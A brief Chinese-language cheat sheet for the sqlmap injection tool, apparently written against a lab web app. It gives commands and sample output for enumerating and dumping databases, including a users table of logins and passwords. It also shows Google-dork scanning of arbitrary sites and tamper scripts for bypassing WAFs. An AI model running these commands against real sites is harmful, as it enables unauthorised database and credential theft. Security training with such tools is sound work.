sqlmap 使用举例
详细的请见:
http://drops.wooyun.org/tips/143
http://wenku.baidu.com/link?url=45xj6EVVWQjV8upwrBAMIqPP3xMcmi6Zh2pGe27sZ6TZbsBtPJ3QjuIIz672egOe96UCt6T3LuPmczJIUGECmcEQLDRQ3DhYE4qGUmRhDLK
1. 检测特定url一个参数的get:
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" -v 3 -f --banner
–flush-session #刷新当前目标的会话文件 –fresh-queries #忽略在会话文件中存储的查询结果
-v 3 #显示检测过程中的payload
列出所有的库和表:
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" --dump-all -v 0
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" -f --banner --users
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" -f --banner --dbs
available databases [2]: [*] information_schema [*] photoblog
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" -f --banner -D "photob
log" --tables
Database: photoblog [3 tables] +------------+ | categories | | pictures | | users | +------------+
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" -f --banner -D "photob
log" -T "users" --columns
Database: photoblog Table: users [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | mediumint(9) | | login | varchar(50) | | password | varchar(50) | +----------+--------------+
python sqlmap.py -u "http://192.168.118.138/cat.php?id=1" --dump -D "photoblog"
-T "users" --columns
2. 检测特定url一个参数的post:
python sqlmap.py -u "http://192.168.118.138/cat.php" --data="id=1" -v 3 -f --banner
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 例子: python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
3. 检测google搜索出的结果
python sqlmap.py -g "inurl:\".php?id=1\""
4. 检测自定义的注入位置,如header的x-forwarded-for注入:
python sqlmap.py -u "http://192.168.118.142/" --headers="X-Forwarded-For:*" --banner
Using the option `--batch` will tell SQLMap to use the default behaviour and to avoid asking for user input. You can also use --dump-all if you just want to get all the database content (may be really slow). You can also use --exclude-sysdbs to avoid dumping the system databases/tables and only retrieve the ones not present by default.
5. 利用sql的tamper可以定制注入脚本
参数:--tamper
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。
再sql的目录tamper下有很多这样的脚本,
例如versionedmorekeywords.py这个就是将关键字放在/*! */中间,用以绕过waf,还有很多其他,可以看看代码,尝试